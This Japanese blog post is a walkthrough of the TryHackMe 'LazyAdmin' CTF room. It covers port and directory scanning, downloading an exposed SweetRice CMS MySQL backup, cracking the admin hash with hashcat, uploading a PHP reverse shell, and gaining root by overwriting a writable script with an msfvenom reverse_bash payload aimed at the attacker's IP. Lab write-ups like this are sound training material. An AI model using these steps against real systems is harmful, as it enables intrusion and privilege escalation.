LoginSignup
0
0

More than 1 year has passed since last update.

TryHackMe LazyAdmin writeup

Posted at

Room: LazyAdmin
Difficulty: Easy
Show: Free

CTF形式でマシン攻略しフラグを取得するタイプのRoomになります。
権限昇格がかなり簡単でしたのでEasyの中でも簡単な方のマシンかと思います。

列挙

nmapにてポートスキャンを行いました。
nmap -v -A -sV 10.10.93.35
image.png
上図の通り、80/tcp(http)のopenを確認しましたのでアクセスしてみます。
image.png
残念ながらドキュメントルートはApache2 Ubuntu Default Pageでしたので、さらに探索を行っていきます。

gobusterコマンドを使用して他のページがないか探索していきます。
gobuster dir -u http://10.10.93.35/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
image.png
/contentを確認しましたのでアクセスしていきます。
image.png
ページ上の情報より、CMS(SweetRice)を使用していることがわかりました。
その他gobusterでは情報を取得できなかったので、CMS(SweetRice)に悪用可能な脆弱性がないかをsearchsploitコマンドにて確認していきます。
image.png
上図の通り、いくつかのexploitコードがあることがわかりました。

この中で、マシン内に侵入するために有用そうだと考えたのが以下の二つです。

SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure | php/webapps/40718.txt

現状、SweetRiceのバージョンが取得できていないため、上記exploitが使用できるかはわかりませんが、中を確認していきます。
まずは、searchsploitコマンドでそれぞれのexploitを取得します。
image.png

SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py

上記のソースコードを確認します。
image.png
どうやら、ファイルアップロードを行うためにはユーザ名とパスワードが必要なようです。
また、exploitが成功した場合は拡張子が.php5のファイルをアップロードでき、当該ファイルはリモート(kali)からのアクセス可能なようですので、リバースシェルを取得することが出来そうです。

SweetRice 1.5.1 - Backup Disclosure | php/webapps/40718.txt

続いてもう片方のテキストファイルを確認します。
image.png
こちらは、mysqlのバックアップファイルをダウンロードできてしまう脆弱性のようです。
脆弱性を悪用するにあたってはユーザ名やパスワードは必要なさそうですのでhttp://<IP>/content/inc/mysql_backup/にアクセスし、実際にバックアップファイルが取得できるか確認していきます。
image.png
アクセスした結果、バックアップファイルの取得に成功しました。

取得したファイルの中を確認していきます。
cat mysql_bakup_20191129023059-1.5.1.sql
image.png
ユーザ名とパスワードらしきものを取得することができました。
パスワードはハッシュ化されているため、hashcatコマンドにて解読をしていきます。
image.png
hashcatコマンドはモードを指定しないと自動でハッシュモードを判定してくれます。
md4かmd5が怪しいです。

md5にて解読したところ、パスワードを取得することに成功しました。
hashcat -m 0 -a 0 hash.txt rockyou.txt
image.png

ユーザ名、パスワードが取得できたので、前述のexploitを使用してリバースシェル用のペイロードをアップロードしていきます。
まずは、ペイロードの作成を行います。
作成にあたってはこちらのペイロードを使用します。
image.png
「CHANGE THIS」の部分を自身のマシン情報に書き換えて、「shell.php5」として保存します。

SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py

kali側で接続を待ち受け、上記exploitを実行します。
image.png
アップロード後、ペイロードが配置されたパスへcurlコマンドを使用し、アクセスを行います。
その後、webサーバ権限のシェルを取得することが出来ました。
image.png

権限昇格

sudo -lにて許可されているコマンドを確認したところ、パスワード無しでroot権限で/usr/bin/perl /home/itguy/backup.plを実行できることがわかりました。
image.png
/home/itguy/backup.plは/etc/copy.shを実行するスクリプトのようです。
image.png
また、lsコマンドにて、/etc/copy.shは現状の権限でも書き換えができることがわかりました。
image.png
上記より、/etc/copy.shをリバースシェル用のペイロードに書き換え、root権限で/usr/bin/perl /home/itguy/backup.plを実行したら、root権限のリバースシェルが取得できそうです。

まずは、/etc/copy.shをリバースシェル用のペイロードを作成します。
msfvenom -p cmd/unix/reverse_bash LHOST=10.9.6.236 LPORT=4445 -f raw
image.png
次に、作成したペイロードにて、現状のcopy.shを作成したペイロードに書き換えます。
image.png
最後に、kaliで接続を待ち受け、root権限で/usr/bin/perl /home/itguy/backup.plを実行します。
image.png
無事、root権限のリバースシェルを取得することができました。
image.png

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0